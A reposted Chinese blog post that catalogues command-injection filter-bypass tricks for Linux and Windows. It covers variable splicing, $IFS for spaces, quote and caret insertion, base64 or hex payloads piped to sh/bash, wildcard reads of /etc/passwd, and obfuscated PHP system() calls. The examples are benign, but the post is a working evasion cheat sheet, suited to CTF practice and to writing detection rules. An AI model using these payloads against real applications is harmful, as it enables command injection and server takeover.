keyword:我只是互联网的搬运工
转载:https://mp.weixin.qq.com/s?__biz=MzIyMjkzMzY4Ng==&mid=2247484463&idx=1&sn=2f9aaaec02859a920fac483bc8c8c146&chksm=e824a3f6df532ae0fcdb41c95221468e0fca07d7bbcf4c1723fd34f2dba725d9e52180ce3cf6&mpshare=1&scene=24&srcid=0717WOvidxHw0avSAD5yV7bE&sharer_sharetime=1594999264244&sharer_shareid=9cfbb554b3422268f4530d007f9754e4#rd
Linux篇
命令拼接
1 2 3
| a=who b=ami $a$b //输出whoami
|
常用字符使用
1 2 3 4 5 6 7
| & 表示将任务置于后台执行 ; 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块 && 只有在 && 左边的命令返回真(命令返回值 $? == 0),&&右边的命令才会被执行。 || 只有在 || 左边的命令返回假(命令返回值 $? == 1),||右边的命令才会被执行。 %0a %0d | (管道符) |表示管道,上一条命令的输出,作为下一条命令的参数
|
例:
1 2 3
| echo qwe ; ls //会先输出字符qwe,然后执行ls q=l; w=s; e=" -al"; $q$w$e //执行ls -al命令 qwe | ls //执行后面的命令,前面的不执行
|
这些都可以自己去试试…这些字符最多用到的就是;
和|
就先只说最常用的了…
利用Linux的环境变量
1 2 3
| echo ${PATH} ///usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo ${PATH:1:9}//usr/local
|
可以通过截断和拼接来得到我们想要的来getshell
1 2 3 4
| ${PATH:5:1} //l ${PATH:2:1} //s ${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令 ${PATH:5:1}s //拼接后是ls,执行命令
|
空格绕过
1 2 3 4 5 6 7 8 9
| $IFS $IFS$1 ${IFS} $IFS$9 < 比如cat<a.tct:表示cat a.txt <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 %09
|
绕过关键字
基础常见版本:
1 2 3 4 5 6 7 8 9 10 11 12 13
| wh\o\ami //反斜线绕过 who"a"mi //双引号绕过 whoa'm'i //单引号绕过 whoam``i //反引号绕过 echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码 echo d2hvYW1p|base64 -d|bash//base64绕过,其中d2hvYW1p是whoami的base64编码 `echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令 echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下: wh$1oami who$@ami whoa$*mi
|
进阶深入:
1 2 3
| 666`whoami`666 //bash: 666root666: command not found 666`\whoami`666 //bash: 666root666: command not found //命令执行后的结果在2个666中间
|
所以更进一步:
1 2 3
| w`f1hgb`ho`f1hgb`am`f1hgb`i //反引号的作用是把括起来的字符当做命令执行 w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行 wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接
|
既可以绕过命令,又可以绕过文件名的,下述的则是只能用来绕过文件名的:
1 2 3 4
| cat fl[abc]g.php //匹配[abc]中的任何一个 cat f[a-z]ag.txt //匹配a-z范围的任何字符 cat fla* //用*匹配任意 a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php //内联执行
|
下述的则是文件名绕过
1 2 3 4
| 利用正则:比如要读取etc/passwd cat /???/?????? cat /???/pass* cat /etc$u/passwd
|
命令执行函数绕过
这里只举例system
1 2 3 4 5 6 7 8 9 10 11
| system("cat /etc/passwd") <=> "\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd"); <=> (sy.(st).em)("cat /etc/passwd"); <=>还可以用注释方法绕过 "system/*fthgb666*/("cat /etc/passwd);" <=> "system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);" <=> "(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
|
windows篇
符号与命令
whoami
//正常执行
w"h"o"a"m"i
或"w"h"o"a"m"i"
或"w"h"o"a"m"i
或w"h"o"a"m"i"
//正常执行
who^ami
或wh""o^a^mi
或wh""o^a^mi"
//正常执行
- 但是
"wh""o^a^mi"
这种在开头就有单引号的情况是不能执行的
(Whoami)
或(Wh^o^am""i)
或((((Wh^o^am""i))))
//正常执行
注:可以加无数个"
但不能同时连续加2个^
符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义
set命令
知识点:用两个%括起来的变量,会输出变量的值
1 2 3
| set a=1 //设置变量a,值为1 echo a //此时输出结果为"a" echo %a% //此时输出结果为"1"
|
接下来的进阶利用就是:
1 2 3 4
| set a=who set b=ami %a%%b% //正常执行whoami call %a%%b% //正常执行whoami
|
所以,上述的符号与命令部分的所有操作,都可以通过set
来实现,只需要慢慢拼接就ok
切割字符
1 2 3 4
| set a=whoami %a:~0% //取出所有字符,所以正常执行命令 %a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行 %a:~0,5% //切割后是whoam,不是系统命令,不能执行
|
注:上述可以使用减号,和python的切割效果差不多
所以,可以考虑的东西就来了:
1 2
| set a=abc qwe //先自定义 wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功
|
所以,这样写webshell什么的也就很简单了
逻辑运算符
|
:可以连接命令,但只会执行后面的那条
||
:只有前面的命令失败,才会执行后面的语句
&
:前面的命令可以成功也可以失败,都会执行后面的命令
&&
:必须两条命令都为真才可以全部执行。如果第一条语句错误,整个命令都不执行。如果第一条语句对,第二条错误,就只执行第一条
1 2 3 4
| whoami | ping www.baidu.com whoami || ping www.baidu.com qwe & ping www.baidu.com qwe && ping www.baidu.com
|